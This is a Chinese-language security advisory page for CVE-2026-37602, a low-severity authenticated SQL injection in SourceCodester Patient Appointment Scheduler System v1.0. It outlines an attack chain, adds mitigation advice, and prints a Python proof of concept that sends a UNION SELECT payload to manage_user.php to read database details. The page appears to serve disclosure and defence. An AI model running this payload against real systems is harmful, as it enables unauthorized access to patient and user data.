IPBUF安全漏洞报告
English
CVE-2026-37602 CVSS 2.7 低危

CVE-2026-37602 SourceCodester预约系统SQL注入漏洞

披露日期: 2026-04-14

漏洞信息

漏洞编号
CVE-2026-37602
漏洞类型
SQL注入
CVSS评分
2.7 低危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
SourceCodester Patient Appointment Scheduler System

相关标签

SQL注入CVE-2026-37602SourceCodesterWeb安全低危漏洞

漏洞概述

SourceCodester Patient Appointment Scheduler System v1.0 版本被发现存在 SQL 注入安全漏洞。该漏洞位于系统的 /scheduler/admin/user/manage_user.php 文件中。由于应用程序在处理用户输入时缺乏有效的过滤机制,导致经过身份认证的攻击者能够构造恶意的 SQL 语句。尽管利用此漏洞需要较高的管理员权限,但成功利用后可能导致数据库敏感信息泄露,对系统的机密性构成威胁。

技术细节

该漏洞的核心原理在于 SourceCodester 病人预约调度系统 v1.0 在处理后端请求时存在不安全的数据库查询操作。具体受影响文件为 /scheduler/admin/user/manage_user.php,该文件在接收 HTTP 请求参数(如用户ID或查询字符串)时,直接将其拼接到 SQL 查询语句中执行,而未使用预编译语句(Prepared Statements)或进行严格的输入转义。根据 CVSS 向量分析,利用此漏洞需要具备高权限(PR:H),意味着攻击者首先需要获取管理员会话。一旦通过认证,攻击者可通过修改参数值注入 UNION SELECT 或布尔盲注 Payload。由于 CVSS 评分为 2.7 且机密性影响为低(C:L),该漏洞主要用于获取低敏感度的数据库数据,难以直接导致系统瘫痪或数据篡改。

攻击链分析

STEP 1
侦察
攻击者识别目标系统为 SourceCodester Patient Appointment Scheduler System v1.0,并确定管理后台入口。
STEP 2
获取凭证
通过钓鱼、暴力破解或其他手段获取管理员账户的登录凭证或有效的 Session ID(满足 PR:H 要求)。
STEP 3
发送恶意请求
攻击者向 /scheduler/admin/user/manage_user.php 发送特制的 HTTP GET/POST 请求,在参数中注入 SQL Payload。
STEP 4
执行注入
后端数据库直接执行恶意 SQL 语句,将查询结果返回给攻击者,导致数据库信息泄露。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC for CVE-2026-37602 # Target: SourceCodester Patient Appointment Scheduler System v1.0 import requests def check_sqli(target_url, session_cookie): # The vulnerable endpoint url = f"{target_url}/scheduler/admin/user/manage_user.php" # Headers and Cookies (High privilege required) headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" } cookies = { "PHPSESSID": session_cookie # Replace with valid admin session } # Payload to test SQL Injection (Simple Union Based) # Assuming parameter 'id' is vulnerable payload = { "id": "1 UNION SELECT 1, user(), database(), version(), 5-- -" } try: response = requests.get(url, params=payload, headers=headers, cookies=cookies, timeout=10) if response.status_code == 200: print("[+] Request sent successfully.") print(f"[+] Response length: {len(response.text)}") # Analyze response content to confirm injection (e.g., looking for database version) if "mysql" in response.text.lower() or "root" in response.text.lower(): print("[!] Potential SQL Injection confirmed.") else: print("[-] Injection not confirmed or output not visible.") else: print(f"[-] Server returned status code: {response.status_code}") except Exception as e: print(f"[!] Error occurred: {e}") if __name__ == "__main__": target = "http://localhost" # Change to target IP sid = "admin_session_id_here" check_sqli(target, sid)

影响范围

SourceCodester Patient Appointment Scheduler System 1.0

防御指南

临时缓解措施
在未修复漏洞前,建议系统管理员严格限制对管理后台的访问来源 IP,并加强管理员账户的密码复杂度。同时,部署 Web 应用防火墙(WAF),配置规则以拦截针对 manage_user.php 的异常 SQL 请求特征。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表